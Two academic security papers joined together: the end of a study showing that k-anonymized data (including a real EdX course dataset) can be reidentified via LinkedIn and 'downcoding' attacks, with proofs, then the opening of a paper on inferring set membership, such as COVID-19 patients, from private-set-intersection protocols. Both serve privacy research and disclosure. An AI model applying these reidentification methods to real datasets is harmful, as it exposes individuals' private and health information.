a “low probability that the dataset will be re-identified” and
their methods and analysis are well-documented [19]. The
main deviation from the Expert Determination standard is the
difference between “very small” and “low” reidentification
risk.

7 Conclusions

In short, we show that k-anonymity – and QI-deidentification
generally – fails on its own terms. Our attacks rebut three pri-
mary arguments that QI-deidentification’s practioners make
to justify its continued use. First, we reidentify individuals
in EdX dataset; it was “properly de-identified” by a “statis-
tical experts” and in accordance with procedures outlined in
regulation, meeting the high bar set by El Emam, et al. [12].
Second, our downcoding attacks demonstrate that even if ev-
ery attribute is treated as quasi-identifying, k-anonymity and
its refinements may provide no protection. Ours are the first
attacks in either of these two settings. Third, our attacks also
undermine the claim that QI-deidentification meets regula-
tory standards for deidentification. The compound PSO and
reidentification attacks challenge k-anonymity’s status under
GDPR and FERPA respectively.

Moreover, our attacks show that QI-deidentification vio-
lates three properties of a worthwhile privacy notion, even in
practice. Namely, avoiding distributional assumptions, robust-
ness against post-processing, and smooth degradation under
composition. We expand on these next.

Downcoding attacks prove that whatever privacy is pro-
vided by QI-deidentification crucially depends on unstated
assumptions on the data distribution. One possible pushback
is that our downcoding attacks use specially constructed dis-
tributions and hierarchies, not naturally occurring ones. But
even a contrived counterexample proves that there is some
unnoticed distributional assumption that is critical for security.
Moreover, the distributions and hierarchies in Theorem 4.2
are not so unnatural when considering that data are made,
not found (to quote danah boyd). Say an analyst wants to k-
anonymize a high dimensional dataset. One natural approach
is to find a low-dimensional projection with clusters of about
k rows each, and then construct the generalization hierarchy
over this representation. The result could easily satisfy condi-
tions that enable our downcoding attack or a direct extension.

Robustness against post-processing requires that further
processing of the output, without access to the data, should not
diminish privacy. Downcoding proves that QI-deidentification
is not robust to post-processing. Our attacks recover specific
secret information about a large fraction of a dataset’s entries
with probability close to 1. Also, the EdX dataset also proves
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that k-anonymity is not robust to post-processing for purely
syntactic reasons. The result of removing rows from a k-
anonymous dataset may not satisfy k-anonymity as defined.
We see this in the EdX data: it is not in fact 5-anonymous
with respect to quasi-identifier Q∗ (courses), despite claims
otherwise. This fragility to post-processing is not so much a
privacy failure as a syntactic weakness of the definition itself.

Smooth degradation under composition requires that a com-
bination of two or more private applications mechanisms
should also be private, albeit with worse parameters. The EdX
dataset proves that QI-deidentification is not robust to compo-
sition, even when done by experts in accordance with strict
privacy regulations. Ganta et al. present theoretical composi-
tion attacks, showing that if the same dataset is k-anonymized
with different quasi-identifiers the original data can be recov-
ered [13]. With the EdX dataset the possibility became reality.
To the best of our knowledge, this is the first example of such
a failure in practice.

The most important open question raised by this work is to
characterize the power of downcoding attacks. What proper-
ties of a data distribution and generalization hierarchy enable
downcoding? Is vulnerability to downcoding testable? In what
settings is downcoding provably impossible? Can one demon-
strated downcoding in the wild? We leave these questions for
future work.

Responsible disclosure and data availability After rei-
dentifying one EdX student, we reported the vulnerability to
Harvard and MIT who promptly replaced the dataset with
a heavily redacted one. Our IRB determined that this re-
search was not human subjects research and did not need
IRB approval. However, we were instructed by the IRB not
to contact the reidentified LinkedIn users. The code used
in our analysis of the EdX dataset is at https://github.
com/a785236/EdX-LinkedIn-Reidentification, but we
do not distribute the dataset itself to protect the students’ pri-
vacy.
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A Additional background on the EdX dataset

We summarize the EdX dataset—the chosen quasi-identifiers,
the implementation of k-anonymization, and the resulting
published dataset Xed,raw based on documentation included
with the dataset [19] and in two articles describing the creation
of the dataset itself [3, 9].

The raw dataset consisted of 841,687 rows for 597,692
students. Each row corresponded to the registration of a sin-
gle student in a single course and included the information
described above. IP addresses were used to infer a student’s
location even when a student chose not to self-report their
location. EdX considered username and IP address to be
identifying. Each username was replaced by a unique 7-digit
identification number (UID). A username appearing in multi-
ple rows was replaced by the same UID in each. IP addresses
were redacted.

The dataset, with a row corresponding to a student-course
pair, was k-anonymized according to two different quasi-
identifiers Q and Q∗ (each a subset of the attributes). Q =
{gender, year of birth, country, course, number of forum posts}.
“The last one was chosen as a quasi-identifier because
the EdX forums are somewhat publicly accessible and
someone wishing to re-identify the dataset could, with
some effort, compile the count of posts to the forum
by username” [19]. Separately, the set of courses that each
student enrolled in were considered to form a quasi-identifier:
Q′ = {enrolled in course 1, . . . , enrolled in course 16}. The
data was k-anonymized first according to Q∗ and then accord-
ing to Q. Additionally, `-diversity was enforced for the final
course grade, with `= 2.

After aggregating the rows by UID, Xed can be seen as k-
anonymized with respect to 17 overlapping quasi-identifiers:
Q∗ as before and Q1, . . . ,Q16, where Qi = {gender, year of
birth, country, enrolled in course i, number of forum posts in
course i}.

The final published result Xed,raw includes 641,138 course
registrations by 476,532 students across 16 courses.

As published, the EdX dataset had 641,138 rows, each
representing to a single course registration for one of 476,532
distinct students. But the object of our privacy concerns is a
student, not a student-course pair. We aggregated the rows
corresponding to the same UID. We call the result Xed.

The creators of the EdX dataset failed to identify which
attributes are publicly available—the very thing that experts
are supposed to be good at. Specifically, level of education
and certificates of course completion are not included in any
of the quasi-identifiers despite both being readily available
on LinkedIn. The exclusion of certificates is particularly in-
defensible: at the same time as the EdX dataset was being
created, EdX and LinkedIn collaborated to allows LinkedIn
users to include cryptographically unforgeable certificates of
completion on their profiles.

10Different rows of the same student often listed different countries. Al-
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A.1 Ambiguous effective anonymity

We consider a relaxation of the notion of effective
anonymity which we call ambiguous effective anonymity.
Let Iamb(Y,y,Q) , {n : yn(Q) ∩ y(Q) 6= /0}. The ambigu-
ous effective anonymity of y in Y with respect to Q
is EAamb(Y,y,Q) = |Iamb(Y,y,Q)|. Ambiguous effective
anonymity helps us reason about what an attacker can infer
from the dataset.

Definition A.1 (Unambiguous uniqueness). We say y ∈ Y is
unique with respect to Q if EA(Y,y,Q) = 1, and unambigu-
ously unique if EAamb(Y,y,Q) = 1.

EAamb is never less than EA, and is very often greater
in EdX. The presence of unambiguously unique records in
a supposedly-anonymized dataset indicates a clear failure
of syntactic anonymity. Considering ambiguous effective
anonymity makes critiquing k-anonymity much harder. We
are giving k-anonymity the benefit of all the additional am-
biguity that comes from missing data rather than from the
anonymizer itself.

B Deferred Proofs

B.1 Proof of Theorem 4.2

H = U

H1

H1,sml H1,big

. . . Ht

Ht,sml Ht,big

. . . HT

HT,sml HT,big

Figure 4: The generalization hierarchy used in the proof of
Theorem 4.2. The attribute domain is an interval in R, as are
each Ht and Ht,sml. Each set Ht,big = Ht \Ht,sml is the union
of two intervals

Claim B.1. Let H be a hierarchy with T nodes at the second
level: H1, . . . ,Ht (as in Figure 4). Let X∈UD be a dataset, M
be a minimal hierarchical k-anonymizer, and Y←M(X,H).
For t ∈ [1,T ], let Xt = X∩HD

t and let Yt be the records in Y
corresponding to the records in Xt . If X = ∪tXt , then for all
but at most one t ∈ {t : |Xt |= k}, y⊆ HD

t for all y ∈ Yt .

Note that as defined, the generalized records in Yt are not
necessarily contained in HD

t . The claim says that if X consists
of data in the T clusters X1, . . . ,XT , then the records in Yt
will be contained in HD

t for almost all clusters of size exactly
k.

most always there were only two different values, one of which was “Un-
known/Other.” In this case, we used the other value for the student’s unified
record. In all other cases, we used “Unknown/Other.”

Proof of Claim B.1. First, we show that for any y = (y1, . . . ,
yD), a single coordinate of y is generalized to H = U if and
only if every coordinate in y is generalized to H. Namely, if
yd = H for some d, then y = HD.

Suppose for contradiction that there exists y = (y1, . . . ,yD)
corresponding to x∈X such that y1 = H but y2 ⊆Ht for some
t. By the assumption on X, there exists t ′ such that y ∈ Yt ′ .
Because y2 ⊆ Ht , t ′ = t and hence y ∈ Yt . By k-anonymity,
there are at least k− 1 additional records y′ ∈ Y such that
y′ = y. Repeating the previous argument, y′ ∈ Yt .

Let y∗ = (Ht ,y2, . . . ,yD) ( y. Construct Y∗ by replacing
all copies of y in Y with y∗. It is immediate that Y∗ is k-
anonymous and respects the hierarchy. By the assumption that
y1 = H, Y∗ strictly refines Y. Additionally, Y∗ generalizes
X, because all altered rows were in Yt . This contradicts the
minimality of the k-anonymizer M. Therefore we have proved
that if yd = H for some d, then yd = H for all d.

Next, we show that for all but at most one t ∈ {t : |Xt |= k},
there exists y ∈ Yt such that y⊆ HD

t . By the preceding argu-
ment, it suffices to show that y 6= HD. Suppose for contradic-
tion there exists t 6= t ′ such that for all y ∈ Yt ∪Yt ′ , y = HD.
Construct Y′ by replacing each y∈Yt ′ with HD

t ′ ( y. It is easy
to see that Y′ respects the hierarchy, satisfies k-anonymity,
generalizes X, and strictly refines Y. This contradicts the
minimality of the k-anonymizer M.

To complete the proof, let t ∈ {t : |Xt | = k} and suppose
there exists y ∈ Yt such that y⊆ HD

t . By k-anonymity, there
must be at least k− 1 distinct y′ = y ⊆ HD

t . By assumption
on X, each such y′ must be an element of Yt . Because |Yt |=
|Xt |= k, every element of Yt is equal to y⊆ HD

t .

Proof of Theorem 4.2. Data distribution Records x ∼ U
are noisy versions of one of T = N/k cluster centers ct ∈ RD.
Each coordinate xd of x is ct,d masked with i.i.d. noise with
variance σ2. The variance is usually small, but is large with
probability 1/k (variances σ2

sml� σ2
big). The generalization

hierarchy H is shown in Figure 4. H divides the attribute
domain U into T components Ht , each of which is further
divided into small values Ht,sml and large values Ht,big.

We set the parameters so that w.h.p. all of the follow-
ing hold. First, the data is clustered: Prx[∃t, x ∈ HD

t ] >
1− negl(N). Second, every coordinate xd of a small-noise
(variance σ2

sml) record is small: xd ∈ Ht,sml. Third, the coordi-
nates of large-noise (variance σ2

big) records are large or small
(xd ∈ Ht,big or xd ∈ Ht,sml, respectively) with probability 1/2
independent of all other coordinates . In particular, if x is gen-
erated using large noise then x 6∈ HD

t,sml with high probability.
An example of a distribution U and hierarchy H satisfying the
above is given in Example B.2. In that example, the cluster
centers ct are masked with i.i.d. Gaussian noise.

The adversary The adversary A takes as input Y and pro-
duces the output Z as follows. For t ∈ [T ], let Ŷt = Y∩HD

t .
If |Ŷt | 6= k, copy every y ∈ Ŷt into the output Z. Otherwise
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|Ŷt |= k. By k-anonymity Ŷt consists of k copies of a single
generalized record yt . Let bigt = {d : yt

d = Ht} be the large
coordinates of yt , and let Bt = |bigt | be the number of large
coordinates. If |Bt −D/2| > D/8, then A writes k copies of
yt to the output Z. Otherwise A writes k−1 copies of HD

t,sml

and one copy of zt = (zt
1, . . . ,z

t
D) to the output, where

zt
d =

{
Ht,big d ∈ bigt

Ht,sml d 6∈ bigt
(1)

Analysis It is immediate from the construction that Z� Y.
Moreover, it is easy to arrange the records in Z so that zn ⊆ yn
for all n∈ [N]. By construction, zn ( yn implies that zn differs
from zn differs from yn on at at least Bt ≥ 3D/8 coordinates.

To prove the theorem, it remains to show that w.h.p. X� Z
and Z ≺Ω(N) Y. Let Xbig = X \

(⋃
t HD

t,sml

)
consist of all

the records x that have at least one large coordinate (i.e.,
xd ∈ Ht,big for some t,d).

For all t ∈ [T ], let Xt = X∩HD
t and let X̂t ⊆ Xt be the

records x ∈ X that correspond to the records in Ŷt . (Whereas
Xt consists of all records that are in cluster t, X̂t consists
of only those records that correspond to generalized records
y ∈ Ŷt that can be easily inferred to be in cluster t based on
Y.) A cluster t is X-good if |Xt | = k and |Xt ∩Xbig| = 1. A
cluster t is Ŷ-good if Ŷt = k and |Bt −D/2| ≤ D/8.

It suffices to show that:

• Ω(N) clusters t are X-good.
• All but at most one X-good clusters are Ŷ-good.
• For all Ŷ-good clusters t, X̂t ∩Xbig = {xt} and xt ⊆ zt .

Note that if t is both X-good and Ŷ-good, then X̂t = Xt . But
there may be t that are Ŷ-good but not X-good.

Many clusters are X-good We lower bound Pr[t X-good]
by a constant and then apply McDiarmid’s Inequality.

Pr[t X-good] = Pr[|Xt |= k] ·Pr
[
|Xt ∩Xbig|= 1

∣∣ |Xt |= k
]
.

|Xt | is distributed according to Bin(N,k/N), which ap-
proaches Pois(k) as N grows. Using the fact that k! ≤
(k/e)ke

√
k we get: Pr[|Xt | = k] ≈ (kke−k)/k! ≥ 1/(e

√
k) =

Ω(1). Pr[x ∈ Xbig] =
1
k ± negl(N). The events x ∈ Xt and

x ∈ Xbig are independent. Therefore

Pr
[
|Xt∩Xbig|= 1

∣∣ |Xt |= k
]
=(1−1/k)k−1±negl(N)> 1/e.

Combining the above, Pr[t X-good] = Ω(1). Quantitatively,
for k ≤ 15, Pr[tX-good]& 1/(e2

√
k)> 1/30.

Let g(X) be the number of X-good values of t. By the
above, E[g(X)] = Ω(N). Changing a single record x can
change the value of g by at most 2. Applying McDiarmid’s

Inequality,

Pr
[

g(X)<
E(g(X))

2

]
≤ exp

−2
(
E(g(X))

2

)2

4N

< negl(N).

Thus there are Ω(N) X-good values of t with high probability.

Most X-good clusters are Ŷ-good Cluster t is Ŷ-good if
Ŷt = k and |Bt −D/2| ≤ D/8. First we show that for all but
one X-good t, |Ŷt | = k. Let Yt ⊇ Ŷt be the records in Y
corresponding to the records in Xt . (Whereas Yt consists of
all records that correspond to Xt , Ŷt consists of only those
records whose membership in Yt can be easily inferred from
Y.) Observe that |Xt |= |Yt | ≥ |Ŷt |. By construction, for all
x ∈ X there exists t such that x ∈ Xt with high probability
(i.e., X =∪tXt ). By Claim B.1, for all but at most one X-good
t and every y ∈ Yt , y⊆ HD

t . Thus |Ŷt |= Yt = k.
Finally we show that for all X-good t as guaranteed by

Claim B.1, Bt ∈ (3D/8,5D/8) with high probability. Ŷt con-
sists of k copies of the same generalized record (y1, . . . ,yd).
Since M is hierarchical, yd ∈ {Ht ,Ht,sml,Ht,big}. By the X-
goodness of t, Xt contains 1 large-noise record xbig and k−1
small-noise records x′ By correctness of the k-anonymizer M,
xbig,d ∈ Ht,big =⇒ yd ⊇ Ht,big. Minimality implies the con-
verse: yd ⊇ Ht,big =⇒ xbig,d ∈ Ht,big. With high probability,
x′d ∈ Ht,sml =⇒ yd ⊇ Ht,sml. Putting it all together,

xbig,t ∈ Ht,big ⇐⇒ yd = Ht ⇐⇒ d ∈ bigt .

By construction of the data distribution U , Pr[d ∈ bigt ] = 1/2
independently for each d ∈ [D]. Applying Chernoff again,
Pr[|Bt −D/2| ≥ D/8]< 2e−Ω(D) < negl(N).

Analyzing Ŷ-good clusters By construction, bigt = {d :
∃x ∈ X̂t ∩ Xbig st xd ∈ Ht,big}. Because |bigt | > 0, |X̂t ∩
Xbig| > 1. A simple Chernoff-then-union-bound argument
shows that the probability that there exist distinct records
x,x′ ∈Xbig such that |bigt |= |{d : xd ∈Ht,big∨x′d ∈Ht,big}|<
5D/8 is negligible. Hence X̂t ∩Xbig is a singleton {xt} with
high probability. xt ⊆ zt follows immediately from the con-
struction.

Example B.2. The following distribution U and hierarchy
H suffice for the proof of Theorem 4.2. The distribution U is
defined by T = N/k cluster centers c1, . . . ,cT ∈ R and stan-
dard deviations σsml,σbig ∈R. A record x∈RD is sampled as
follows. Sample a cluster center t ← [T ] uniformly at ran-
dom. Sample size ← {sml,big} with Pr[size = big] = 1/k.
Sample noise e ← N(0,σ2

sizeI). Output x = ct + e, where
ct = (ct , . . . ,ct) ∈ RD.

The hierarchy H consists of intervals Ht = [ct −∆,ct +∆]
centered at the cluster centers ct , for some ∆. The hierarchy
further subdivides each Ht into a smaller interval Ht,sml =
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Figure 5: The generalization hierarchy used in the proof of
Theorem 4.3. On the left is the hierarchy H3 for the domain
U = [03]. On the right is a recursive construction of HT+1 for
domain U = [0,T +1] from the hierarchy HT .

[ct − τ,ct + τ), for some τ < ∆, and the complement Ht,big =
Ht \Ht,sml.

To suffice for our proof, we require that with high proba-
bility over x ∼U there exists t ∈ [T ] such that: (a) x ∈ HD

t ;
(b) if size= sml, then x ∈ HD

t,sml; (c) if size= big, then each
coordinate xd is in Ht,big with probability 1/2 independent of
all other coordinates xd′ . Many instantiations of the parame-
ters would work, such as: σsml = 1, τ = logN, σbig = ζ logN,
∆ = ζ log2 N, and ct = 2t∆, where ζ = 1√

2·erf−1(1/2)
≈ 1.48

and erf is the Gaussian error function.

B.2 Proof of Theorem 4.3
A k-anonymizer M : X 7→ Y groups records x ∈ X into equiv-
alence classes such that if x and x′ are in the same class, then
Y(x) = Y(x′). In general, M may have a lot of freedom to
group the x’s the equivalence classes and also to choose the
y’s that generalize each equivalence class.

Claim B.3 states that if M is minimal and generalizes using
hierarchy like in Figure 5, then it has much less freedom.
Namely, Y is fully determined by the choice of equivalence
classes (with probability at least 1−α over the dataset X). M
can group the x’s together, but then has no control over the
resulting y’s.

Claim B.3 and its proof are meant to be read in the context
of the proof of Theorem 4.3 and freely uses its notation.

Proof of Theorem 4.3. Let T = dN2/αe and U = [0,T ] be
the attribute domain. Records x ∈ UD are sampled accord-
ing to the distribution U as follows. First sample t(x)← [T ]
uniformly at random. Then sample each coordinate xd of x
i.i.d. with Pr[xd = t(x)] = 1/2k and xd = 0 otherwise. In other
words, x∈ {0, t(x)}D consists of D independent samples from
t(x) ·Bern(1/2k).

All the t(x) will be distinct except with probability at most(N
2

) 1
T < α/2. If all t(x) are distinct, we say X is collision-free.

The remainder of the proof shows that the adversary succeeds
with high probability conditioned on X collision-free.

Figure 5 defines the generalization hierarchy. It consists of
intervals [0, t] and singletons {t} for t ∈ [T ].

Claim B.3 states that the output Y←M(X,H) of a minimal
hierarchical k-anonymizer must take a restricted form. For

y ∈ Y, let Xy = {x ∈ X : Y(x) = y} be the records in X that
correspond to a copy of y ∈ Y. The claim states that

Pr
[

max
y
|Xy|< 2k

∣∣∣ X collision-free
]
> 1−negl(N).

Moreover, if X is collision-free then for all y ∈Y and d ∈ [D]:

yd = [0,max
x∈Xy

xd ]. (2)

Let A be deterministic adversary that on input Y does the
following. For t, pick yt = (yt

1, . . . ,y
t
D)∈Y such that ∃d ∈ [D],

yt
d = [0, t]. Let yt = ⊥ if no such d exists. By the (2), all y

satisfying the above are identical. If yt 6= ⊥, we define the
following subsets of [D]:

Dt(Y) = {d : yt
d = [0, t]}

D>t(Y) = {d : yt
d = [0, t ′] for t ′ > t}

D<t(Y) = {d : yt
d = [0, t ′] for t ′ < t}.

If yt 6=⊥, A writes zt = (zt
1, . . . ,z

t
D) to the output Z, where

zt
d =


0 d ∈ D<t(Y)

t d ∈ Dt(Y)

[0, t] d ∈ D>t(Y)

(3)

Let TX = {t : yt 6= ⊥}. |Z| = |TX|, and it is easy to see
that Pr[|TX| = N | X collision-free] > 1− negl(N). Hence if
X is collision-free, then Z≺N Y by construction. In this case,
we assume without loss of generality that the rows in Z are
ordered in a way that zn ⊆ yn. It follows immediately from
the construction that zn (D yn.

If X is collision-free, then for every t ∈ TX there is a unique
xt = (xt

1, . . . ,x
t
D) ∈ X such that t(xt) = t. By (2) and the fact

that xt ∈ {0, t}D, xt ⊆ zt . Hence if X is collision-free, then
X� Z with high probability, proving the first part of the theo-
rem.

The following claims is meant to be read in the context of
the proof of Theorem 5.2 and freely uses notation therefrom.

Claim B.3. For y ∈ Y, let Xy = {x ∈ X : Y(x) = y} be the
records in X that correspond to a copy of y ∈ Y. If X is
collision-free, then for all y ∈ Y and d ∈ [D]:

yd = [0,max
x∈Xy

xd ].

Moreover, Pr[maxy |Xy| < 2k | X collision-free] > 1 −
negl(N).

Proof. Both parts of the claim rely on the minimality of M.
Recall that x ∈ {0, t(x)}D. Let T ∗d (Xy) = {xd : x ∈ Xy} ⊆

∪x∈Xy{0, t(x)} be the set of all values in the dth column
of Xy. X collision-free implies that either 0 ∈ T ∗d (Xy) or
|T ∗d (Xy)| ≥ 2 (probably both). Because M is correct and hi-
erarchical, T ∗d (Xy) ⊆ yd ∈ H. Hence, by construction of H,
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yd = [0, td ] for some td ∈ [0,T ]. Let t∗d = maxx∈Xy xd . Correct-
ness requires [0, t∗d ]⊆ [0, td ]. Moreover, replacing y = [0, td ]
with [0, t∗d ] would yield a k-anonymous, hierarchy-respecting
refinement of Y. By minimality of M, [0, td ]⊆ [0, t∗d ]. Hence,
yd = [0, t∗d ].

It remains to prove the bound on maxy |Xy|. Let X0 and X1
be an arbitrary partition of Xy. For b ∈ {0,1}, define y′b ⊆ y
as:

y′b = (y′b,1, . . . ,y
′
b,D) = ([0,max

x∈Xb
x1], . . . , [0,max

x∈Xb
xD])

Pr[∃b, y′b ( y | X collision-free] > 1− negl(N). To see
why, observe that y′0 = y = y′1 implies that for every coor-
dinate d, maxx∈X0(xd) = maxx∈Xy(xd) = maxx∈X1(xd). If X
is collision-free, this implies that for all d, maxx∈Xy(xd) = 0.
This occurs with probability 1− 2−D = 1− negl(N) (even
conditioned on collision-free).

Consider Y′ constructed by replacing every instance of y
in Y with y′0 or y′1, using |X0| and |X1| copies respectively.
By construction, Y′ correctly generalizes X and respects the
hierarchy H. By the preceding argument, Y′ strictly refines Y
with high probability. Thus, by minimality of M, Y′ cannot
be k-anonymous. This means that for every partition X0,X1,
one of |Xb| ≤ k−1. Therefore, |Xy|< 2k.

The following claim is used to prove Theorem 5.2. It is
meant to be read in the context of Theorem 4.3 and freely
uses notation therefrom.

Claim B.4. Let k≥ 2, D = ω(logN), U, X, Y, and Dt(Y) as
defined in the proof of Theorem 4.3. Let T ′ = {t : zt ∈ Z}.

Pr
[
∀t ∈ T ′ : |Dt(Y)| ≥ D

4ke

∣∣∣ X coll-free
]
> 1−negl(N)

(4)

Equation (4) also holds for k = N, D = ω(N logN).

Proof of Claim B.4. The proof is an application of Chernoff
and union bounds. We rewrite Dt(Y) as {d : ∃n, Yn,d = [0, t]}.

For y ∈ Y, let Xy contain the records x that correspond to
a copy of y. Consider x∗ ∈ Xy, and let t∗ = t(x∗). We call
d SUPER if (x∗d 6= 0) and (x′d = 0 for all x′ ∈ Xy \{x∗}). By
Claim B.3, if d is SUPER then d ∈ Dt(Y). We will lower
bound the number of SUPER d.

For an index set I ⊆ [N], let XI = {xn}n∈I . By Claim B.3,

Pr[∃I st (|I|< 2k)∧(Xy = XI) | X coll-free]> 1−negl(N).

Observe that if Xy = XI , then x∗ ∈ XI and |I| ≥ k (by k-
anonymity).

We call d GOOD with respect to XI if there is a unique x ∈
XI such that xd 6= 0. Let DI = {d GOOD wrt XI}. Observe

that if Xy = XI and d is SUPER, then d is GOOD with respect
to XI . Therefore

|Dt | ≥ min
I:k≤|I|<2k,x∗∈I

|DI |

except with at most negligible probability (conditioned on X
collision-free).

For fixed I,E[|DI |] =D(1/2k)(1−1/2k)|I|>D/2ke where
the last inequality follows from |I|< 2k. By a Chernoff bound:
Pr[|DI | ≤ D/4ke]≤ e−D/32ke. By the union bound:

Pr
[

min
I:k≤|I|<2k,x∗∈I

|DI | ≤ D/4ke
]
≤ e−D/32ke

2k−2

∑
|I|=k

(
N
|I|

)
For k = O(1), ∑

2k−2
|I|=k

(N
|I|
)
< N2k−2. Putting it all together with

a final union bound:

Pr
[
∃t, |Dt | ≤ D/4ke

∣∣∣ X collision-free
]
< N2k−1e−D/32ke.

For D = ω(logN), this probability is negligible. For k = N
and D = ω(N logN), the set {I : k ≤ |I|< 2k} is a singleton,
doing away with the need for a union bound. In this case the
upper bound is Ne−D/32Ne < negl(N).

B.3 Theorems 5.1 and 5.2
Proof outline. Proofs for both compound PSO attacks follow
the same general structure, using the corresponding down-
coding attacks in non-black-box ways. The compound PSO
adversary A gets as input Y← MH(X). It emulates the ap-
propriate downcoding adversary, which produces an output Z
such that X� Z≺ Y.

Z contains special generalized records zt indexed by some
t ∈ [T ] (equations (1) and (3)), and may also contain other
records. A outputs Ψ = {ψt} where ψt : x 7→ I(x⊆ zt).

To complete the proof, one must show that the following
hold with probability at least 1−α(N):

• ψ(X) = 1/N
• (ψ∧ψ′)(U) = 0
• ψ(U)< negl(N)
• |Ψ| ≥ L

The first three are implied by the following:

• ∀t, there exists a unique xt ∈ X such that xt ⊆ zt .
• ∀t 6= t ′, zt ∩ zt ′ = /0.
• ∀t, x∼UD, Prx[x⊆ zt ]< negl(N).

For the downcoding attack from Theorem 4.2, these prop-
erties are immediate. For the downcoding attack from The-
orem 4.3, the first two are immediate and the third follows
from Claim B.4.

The requirements on L and α follow from the parameters
of the corresponding downcoding attacks. The downcoding
attack for Theorem 4.2 yields Ω(N) records zt with proba-
bility 1−negl(N). The downcoding attack for Theorem 4.3
yields N records zt with probability 1−α(N).
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Abstract
Secure two-party protocols that compute intersection-related
statistics have attracted much attention from the industry.
These protocols enable two organizations to jointly compute
a function (e.g., count and sum) over the intersection of their
sets without explicitly revealing this intersection. However,
most of such protocols will reveal the intersection size of the
two sets in the end. In this work, we are interested in how well
an attacker can leverage the revealed intersection sizes to infer
some elements’ membership of one organization’s set. Even
disclosing an element’s membership of one organization’s set
to the other organization may violate privacy regulations (e.g.,
GDPR) since such an element is usually used to identify a
person between two organizations. We are the first to study
this set membership leakage in intersection-size-revealing
protocols. We propose two attacks, namely, baseline attack
and feature-aware attack, to evaluate this leakage in realistic
scenarios. In particular, our feature-aware attack exploits the
realistic set bias that elements with specific features are more
likely to be the members of one organization’s set. The results
show that our two attacks can infer 2.0∼ 72.7 set members on
average in three realistic scenarios. If the set bias is not weak,
the feature-aware attack will outperform the baseline one. For
example, in COVID-19 contact tracing, the feature-aware at-
tack can find 25.9 tokens of infected patients in 135 protocol
invocations, 1.5× more than the baseline attack. We discuss
how such results may cause negative real-world impacts and
propose possible defenses against our attacks.

1 Introduction

Secure two-party computation related to the intersection of
two organizations’ sets has attracted much attention from the
industry. A well-known protocol is Private Set Intersection
Cardinality (PSI-CA) [25, 31, 43, 44, 45, 53], which returns
the intersection size to one organization without disclosing
other information to either organization. This protocol is an

∗Zheli Liu and Yan Jia are corresponding authors.

essential building block of many applications, such as contact
tracing [36, 66, 70], social network [56, 63, 65], and associa-
tion rule mining [72]. Another prevalent protocol is Private
Intersection-Sum with Cardinality (PSI-SUM) [52, 61], which
aggregates the values held by one organization and associated
with the indices in the intersection. PSI-SUM was first pro-
posed in Google’s work [52] to measure the revenue owing
to ad conversion. Recently, Facebook proposed Private-ID
[28], a protocol for its privacy-preserving measurement of
conversion lift [13] in online advertising.

Although these secure computation protocols will never
reveal the intersection of two organizations’ sets to either
organization, they reveal the intersection size of the two sets.
As long as such an intersection-size-revealing protocol is re-
peatedly invoked between the two organizations, a toy attack
can use the revealed intersection sizes to test whether some
elements are in the intersection. In this attack, one organiza-
tion (acting as the attacker) can input a singleton set in each
protocol invocation with the other organization (acting as the
victim) and observe the resulting intersection size. If this size
equals one, then the involved element is in the intersection;
otherwise, it is not. We stress that the attacker can use its target
elements in protocol invocations, and these elements’ member-
ship of the intersection essentially reveals their membership
of the victim’s set. In other words, the toy attack allows the
attacker to infer the target elements’ membership of the vic-
tim’s set. If the victim’s set is static, N protocol invocations
can leak N elements’ set membership.

Our work. We move beyond this toy attack and initiate the
first study on the set membership leakage resulting from
revealed intersection sizes. This leakage is a general issue
for all protocols that compute intersection-related statistics
without disclosing any information about the intersection
except its size. Many real-world systems use such protocols
to hide as much information about the victim’s set as possible
from the attacker. In these systems, disclosing any element in
the victim’s set is not allowed. However, this work shows that
it can be risky for the systems with such a security requirement

USENIX Association 31st USENIX Security Symposium    1487



to use intersection-size-revealing protocols.
This work begins with designing two set membership infer-

ence attacks to test whether target elements are in the victim’s
set. First, we show that, even if the attacker learns nothing
but intersection sizes, there is a baseline attack that leads
to a more severe set membership leakage than the toy attack.
Second, we consider a realistic situation where the victim’s
set is biased concerning specific features. Roughly speaking,
this set bias means that the elements with the features are
more likely to be included in the victim’s set. An example
set bias appears in the health authority’s set of COVID-19
patients. This set is supposed to be biased concerning the
fever feature of persons since fever is a common symptom
of COVID-19. We propose a feature-aware attack against
such a biased set. The intuition is that if the attacker knows
the bias-correlated features of target elements, it can use them
to improve its inference efficiency.

This work subsequently evaluates the set membership leak-
age caused by our two attacks and the toy attack in three
scenarios: (i) COVID-19 contact tracing from PSI-CA, (ii)
the measurement of ad conversion revenue from PSI-SUM,
and (iii) the measurement of ad conversion lift from Private-
ID. Our measurement shows that the set bias in scenario (i) is
non-negligible while those in the other two scenarios are weak.
Each scenario allows many invocations of its intersection-size-
revealing protocol, where the victim’s set is dynamic.

In scenario (i), our baseline (resp., feature-aware) attack
can identify 3.7 ∼ 7.2× (resp., 5.2 ∼ 9.0×) more set mem-
bers than the toy attack. In particular, our attacks require
far fewer protocol invocations to find as many set members
as those found in the toy attack. On average, our baseline
(resp., feature-aware) attack can find 12.0/18.1/17.6 (resp.,
13.4/22.4/25.9) set members in roughly 70/135/135 proto-
col invocations when there are initially 14/28/56 set mem-
bers in 512/1024/2048 target elements. In scenarios (ii)
and (iii), the toy attack may fail to find any set member,
but our attacks still work. For example, in scenario (ii), our
baseline (resp., feature-aware) attack can find 2.0/4.0/7.5
(resp., 2.0/4.2/7.5) set members in roughly 15/33/60 proto-
col invocations when there are initially 2/4/7 set members
in 512/1024/2048 target elements. Since the victim’s set
changes with time, our attacks can find some set members
different from the initial ones in this scenario. The above
results show that our attacks can help the attacker guess the
elements in the victim’s set in the three scenarios.

This work finally discusses the real-world implications of
our results and some possible defenses against our attacks.
Notably, the attacker can link its chosen elements to real-
world persons in the considered scenarios. Therefore, the set
membership leakage of these elements reveals whether the
linked persons have interacted with the victim, thereby their
associated elements being recorded in the victim’s set. Such
personal information should be only known to the organiza-
tion in the interaction, and it violates privacy regulations (e.g.,

GDPR and HIPPA) that this information is leaked to another
unauthorized organization. We also discuss the negative con-
sequences resulting from the leakage of this interaction in
the three scenarios. For example, the results indicate that it is
possible to combine our attacks with the linkage attack [14] to
infer the COVID-19 patients recorded by the health authority.
This inference may affect the daily life of these patients.

2 Background

2.1 Intersection-size-revealing Protocols

There are many secure two-party protocols that compute func-
tions of the intersection of two parties’ sets without revealing
any information about the intersection except its size.

PSI-CA [25, 31, 43, 44, 45, 53]. This protocol is a black box
that receives a set X from one party and a set Y from the other
party. It internally computes the intersection size |X ∩Y | and
sends this value to one of the two parties.

PSI-SUM [52, 61]. This protocol is a black box that receives
a set X from one party and a table {(yi,vi)}yi∈Y of index-value
pairs from the other party. It internally aggregates the values
